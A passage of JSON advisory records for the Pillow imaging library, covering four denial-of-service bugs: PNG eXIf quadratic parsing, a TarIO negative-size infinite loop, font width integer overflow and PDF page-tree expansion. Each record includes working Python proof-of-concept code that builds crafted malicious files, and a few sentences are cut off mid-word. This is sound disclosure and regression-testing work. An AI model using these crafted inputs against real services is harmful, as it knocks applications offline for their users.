13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05djl2LTlxdmYtaDJoas4AB_GS/related_packages","related_advisories":[{"uuid":"CVE-2026-96644","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96644.json"}]},{"uuid":"GSA_kwCzR0hTQS1nNHF2LTJqeHgtNzY5aM4AB_GR","url":"https://github.com/advisories/GHSA-g4qv-2jxx-769h","title":"Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time","description":"### Summary\n  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n  ### Details\n  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n  ```python\n  while data and data.startswith(b\"Exif\\x00\\x00\"):\n      data = data[6:]\n  ```\n\n  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n  If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n  ### Steps to reproduce\n  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n  ```python\n  import time\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  marker = b\"Exif\\x00\\x00\"\n  exif_chunk = chunk(b\"eXIf\", marker * 300_000)  # 1.8MB, all markers\n  data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n  start = time.time()\n  with Image.open(BytesIO(data)) as im:\n      im.getexif()\n  print(\"took\", time.time() - start, \"seconds\")\n  ```\n\n  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (\u003e2.0s) from pytest-timeout`.\n\n  ```python\n  import pytest\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  @pytest.mark.timeout(2)\n  def test_exif_load_is_not_quadratic():\n      marker = b\"Exif\\x00\\x00\"\n      exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n      data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n      with Image.open(BytesIO(data)) as im:\n          im.getexif()\n  ```\n\n  ### Impact\n  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n  - Confidentiality: none.\n  - Integrity: none.\n  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T16:02:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h","https://nvd.nist.gov/vuln/detail/CVE-2026-96643","https://github.com/python-pillow/Pillow/pull/10073","https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-g4qv-2jxx-769h"],"source_kind":"github","identifiers":["GHSA-g4qv-2jxx-769h","CVE-2026-96643"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.253Z","epss_percentage":0.00373,"epss_percentile":0.33309,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNHF2LTJqeHgtNzY5aM4AB_GR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNHF2LTJqeHgtNzY5aM4AB_GR","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 11.0.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNHF2LTJqeHgtNzY5aM4AB_GR/related_packages","related_advisories":[{"uuid":"CVE-2026-96643","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96643.json"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96643","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96643"}]},{"uuid":"GSA_kwCzR0hTQS0zajcyLXA2cWctNnhwN84AB_GQ","url":"https://github.com/advisories/GHSA-3j72-p6qg-6xp7","title":"Pillow: TarIO negative size field causes infinite CPU-spin loop","description":"### Summary\n`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.\n\n### Details\n`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:\n\n```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) \u0026 (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.\n\n### Steps to reproduce\n\nThis uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.\n\n```python\nfrom PIL import TarIO\n\nwith open(\"Tests/images/hopper.tar\", \"rb\") as f:\n    data = bytearray(f.read())\n\n# Set the size field (bytes 124 to 135) to a negative octal value.\n# Octal 1000 is 512, so this is size = -512.\ndata[124:135] = b\"  -00001000\"\n\nwith open(\"poisoned.tar\", \"wb\") as f:\n    f.write(data)\n\n# \"does-not-exist\" does not match the header name, so TarIO must\n# keep scanning. This call never returns.\nTarIO.TarIO(\"poisoned.tar\", \"does-not-exist\")\n```\n\nWe confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.\n\nA pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (\u003e3.0s) from pytest-timeout.\n\n```python\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom PIL import TarIO\n\nSOURCE_TAR = \"Tests/images/hopper.tar\"\n\n\n@pytest.mark.timeout(3)\ndef test_negative_size_field_does_not_hang(tmp_path: Path) -\u003e None:\n    with open(SOURCE_TAR, \"rb\") as f:\n        data = bytearray(f.read())\n\n    data[124:135] = b\"  -00001000\"  # octal 1000 = decimal 512, negated\n\n    poisoned_tar = tmp_path / \"poisoned.tar\"\n    poisoned_tar.write_bytes(data)\n\n    with pytest.raises((OSError, ValueError)):\n        with TarIO.TarIO(str(poisoned_tar), \"does-not-exist\"):\n            pass\n```\n### Impact\n\n- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.\n- Confidentiality: none.\n- Integrity: none.\n- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T16:01:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7","https://nvd.nist.gov/vuln/detail/CVE-2026-96642","https://github.com/python-pillow/Pillow/pull/10012","https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-3j72-p6qg-6xp7"],"source_kind":"github","identifiers":["GHSA-3j72-p6qg-6xp7","CVE-2026-96642"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.253Z","epss_percentage":0.00395,"epss_percentile":0.35823,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zajcyLXA2cWctNnhwN84AB_GQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zajcyLXA2cWctNnhwN84AB_GQ","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zajcyLXA2cWctNnhwN84AB_GQ/related_packages","related_advisories":[{"uuid":"CVE-2026-96642","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96642.json"},{"uuid":"UBUNTU-CVE-2026-96642","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96642","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96642"}]},{"uuid":"GSA_kwCzR0hTQS00cm04LTNobW0tMzlmZ84AB_GP","url":"https://github.com/advisories/GHSA-4rm8-3hmm-39fg","title":"Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise","description":"### Summary\nAffected Object and Source\n\nPackage: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\n### Details\nThe code in Pillow 12.3.0 is:\n```c\nfor (xsize = 0; *text; text++) {\n    int dx = self-\u003eglyphs[*text].dx;\n    if (dx \u003e 0 \u0026\u0026 xsize \u003e INT_MAX - dx) {\n        PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n        return -1;\n    }\n    xsize += dx;\n}\n```\nThe PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:\n`dx \u003e 0 =\u003e xsize \u003c= INT_MAX - dx`\nIt does **not** prove the other half of the contract:\n`dx \u003c 0 =\u003e xsize \u003e= INT_MIN - dx`\nTaking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.\n\n### PoC\n```python\n\"\"\"Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom io import BytesIO\n\nimport PIL\nfrom PIL import Image, ImageFont\n\n\nADVANCE = -(2**15)\nCONTROL_REPEAT = 65_536\nWITNESS_REPEAT = 65_537\n\n\ndef bitmap_font(advance: int) -\u003e ImageFont.ImageFont:\n    metrics = bytearray(256 * 20)\n    glyph_offset = ord(\"A\") * 20\n    metrics[glyph_offset : glyph_offset + 2] = struct.pack(\"\u003eh\", advance)\n    font_data = b\"PILfont\\n;;;;;;1;\\nDATA\\n\" + bytes(metrics)\n    font = ImageFont.ImageFont()\n    font._load_pilfont_data(BytesIO(font_data), Image.new(\"1\", (1, 1)))\n    return font\n\n\ndef main() -\u003e None:\n    font = bitmap_font(ADVANCE)\n    print(f\"Pillow={PIL.__version__}\")\n    print(f\"control_math={ADVANCE * CONTROL_REPEAT}\")\n    print(f\"control_return={font.getlength('A' * CONTROL_REPEAT)}\")\n    print(f\"witness_math={ADVANCE * WITNESS_REPEAT}\")\n    print(f\"witness_return={font.getlength('A' * WITNESS_REPEAT)}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nObservations from a regular 12.3.0 release build:\n\n```text\nPillow=12.3.0\ncontrol_math=-2147483648\ncontrol_return=0\nwitness_math=-2147516416\nwitness_return=2147450880\n```\n\nThe adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.\n\n\n### Impact\nThe directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.\n\nTherefore, the current recommended severity rating is \"Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model\", rather than a memory corruption vulnerability.\n\n### Recommended Patch and Regression Tests\n\nIt is recommended to extend the overflow check to cover both directions:\n```c\nif ((dx \u003e 0 \u0026\u0026 xsize \u003e INT_MAX - dx) ||\n    (dx \u003c 0 \u0026\u0026 xsize \u003c INT_MIN - dx)) {\n    PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n    return -1;\n}\n```\nAt a minimum, four test cases should be added:\n1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);\n2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;\n3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);\n4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.\n\nAdditionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-22T16:01:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg","https://nvd.nist.gov/vuln/detail/CVE-2026-96641","https://github.com/python-pillow/Pillow/pull/10010","https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-4rm8-3hmm-39fg"],"source_kind":"github","identifiers":["GHSA-4rm8-3hmm-39fg","CVE-2026-96641"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.254Z","epss_percentage":0.00364,"epss_percentile":0.32311,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cm04LTNobW0tMzlmZ84AB_GP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cm04LTNobW0tMzlmZ84AB_GP","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cm04LTNobW0tMzlmZ84AB_GP/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-96641","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96641","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96641"},{"uuid":"CVE-2026-96641","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96641.json"}]},{"uuid":"GSA_kwCzR0hTQS1tcmZwLXA0OXAtM2hmMs4AB_GO","url":"https://github.com/advisories/GHSA-mrfp-p49p-3hf2","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"### Summary\nPillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `\u003e= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: \u003e= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:\n\n   ```python\n   Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n   ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n   ```python\n   is_appending = im.encoderinfo.get(\"append\", False)\n   filename_str = filename.decode() if isinstance(filename, bytes) else filename\n   if is_appending:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n   else:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n   ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:\n\n   ```python\n   self.page_tree_root = self.read_indirect(self.pages_ref)\n   self.pages = self.linearize_page_tree(self.page_tree_root)\n   self.orig_pages = self.pages[:]\n   ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n   ```python\n   def linearize_page_tree(\n       self, node: PdfDict | None = None\n   ) -\u003e list[IndirectReference]:\n       page_node = node if node is not None else self.page_tree_root\n       check_format_condition(\n           page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n       )\n       pages = []\n       for kid in page_node[b\"Kids\"]:\n           kid_object = self.read_indirect(kid)\n           if kid_object[b\"Type\"] == b\"Page\":\n               pages.append(kid)\n           else:\n               pages.extend(self.linearize_page_tree(node=kid_object))\n       return pages\n   ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\n\ndef make_page_tree_pdf(depth: int, fanout: int) -\u003e bytes:\n    if fanout not in (1, 2):\n        raise ValueError(\"fanout must be 1 or 2\")\n\n    objects: list[bytes] = [b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\"]\n    for object_id in range(2, depth + 3):\n        next_id = object_id + 1\n        kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n        parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n        objects.append(b\"\u003c\u003c /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" \u003e\u003e\")\n    objects.append(f\"\u003c\u003c /Type /Page /Parent {depth + 2} 0 R \u003e\u003e\".encode(\"ascii\"))\n\n    result = bytearray(b\"%PDF-1.4\\n\")\n    offsets = [0]\n    for object_id, value in enumerate(objects, start=1):\n        offsets.append(len(result))\n        result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\"))\n        result.extend(value)\n        result.extend(b\"\\nendobj\\n\")\n\n    xref_offset = len(result)\n    result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\"))\n    result.extend(b\"0000000000 65535 f \\n\")\n    for offset in offsets[1:]:\n        result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\"))\n    result.extend(\n        f\"trailer\\n\u003c\u003c /Size {len(objects) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\")\n    )\n    return bytes(result)\n\n\ndef run_case(depth: int, fanout: int) -\u003e dict[str, object]:\n    payload = make_page_tree_pdf(depth, fanout)\n    expected_refs = fanout ** (depth + 1)\n\n    start = time.monotonic()\n    with PdfParser.PdfParser(buf=payload) as pdf:\n        observed_refs = len(pdf.pages)\n        distinct_refs = len(set(pdf.pages))\n    parse_seconds = time.monotonic() - start\n\n    output = io.BytesIO(payload)\n    start = time.monotonic()\n    Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True)\n    append_seconds = time.monotonic() - start\n\n    return {\n        \"fanout\": fanout,\n        \"depth\": depth,\n        \"input_bytes\": len(payload),\n        \"expected_refs\": expected_refs,\n        \"observed_refs\": observed_refs,\n        \"distinct_refs\": distinct_refs,\n        \"parse_seconds\": round(parse_seconds, 6),\n        \"append_seconds\": round(append_seconds, 6),\n        \"output_bytes_after_append\": len(output.getvalue()),\n    }\n\n\ndef main() -\u003e int:\n    depth = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 12\n    if not 0 \u003c= depth \u003c= 16:\n        raise SystemExit(\"depth must be between 0 and 16\")\n\n    linear = run_case(depth, fanout=1)\n    shared_dag = run_case(depth, fanout=2)\n\n    checks = {\n        \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1,\n        \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"]\n        == shared_dag[\"expected_refs\"],\n        \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1,\n        \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] \u003c= 2048,\n        \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"]\n        \u003e linear[\"input_bytes\"]\n        and shared_dag[\"output_bytes_after_append\"] \u003e shared_dag[\"input_bytes\"],\n    }\n    result = {\n        \"pillow_version\": PIL.__version__,\n        \"pillow_file\": PIL.__file__,\n        \"depth\": depth,\n        \"linear_control\": linear,\n        \"shared_dag_candidate\": shared_dag,\n        \"checks\": checks,\n        \"overall_passed\": all(checks.values()),\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"overall_passed\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```bash\npython3 poc_pillow_pdf_page_tree_dag.py\n```\n\nExpected result:\n\n```text\n\"overall_passed\": true\n\"linear_control\": observed_refs == 1\n\"shared_dag_candidate\": input_bytes == 1410\n\"shared_dag_candidate\": observed_refs == 8192\n\"shared_dag_candidate\": distinct_refs == 1\n```\n\nObserved on current `main` / `13.0.0.dev0`:\n\n```text\n1410-byte input -\u003e 8192 observed page refs -\u003e 9.563007s append\n```\n\nObserved on Pillow `12.3.0`:\n\n```text\nPillow 12.3.0: 1410-byte input -\u003e 8192 observed page refs -\u003e 9.670602s append\n```\n\nFor comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs.\n\n### Impact\n\nThis is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route.\n\nThe demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`.\n\nRequires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().\n\nThis should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.\n\n### Remediation\n\nReject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`.\n\nOne possible fix is to pass traversal state through `linearize_page_tree()`:\n\n- Track active `/Pages` references to reject cycles.\n- Track seen page-tree and page indirect references to reject duplicate references.\n- Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references.\n\nSuggested regression tests:\n\n- A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`.\n- A normal nested linear page tree should continue to append successfully.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T16:00:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2","https://nvd.nist.gov/vuln/detail/CVE-2026-96640","https://github.com/python-pillow/Pillow/pull/10093","https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-mrfp-p49p-3hf2"],"source_kind":"github","identifiers":["GHSA-mrfp-p49p-3hf2","CVE-2026-96640"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.255Z","epss_percentage":0.00604,"epss_percentile":0.50287,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcmZwLXA0OXAtM2hmMs4AB_GO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcmZwLXA0OXAtM2hmMs4AB_GO","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pi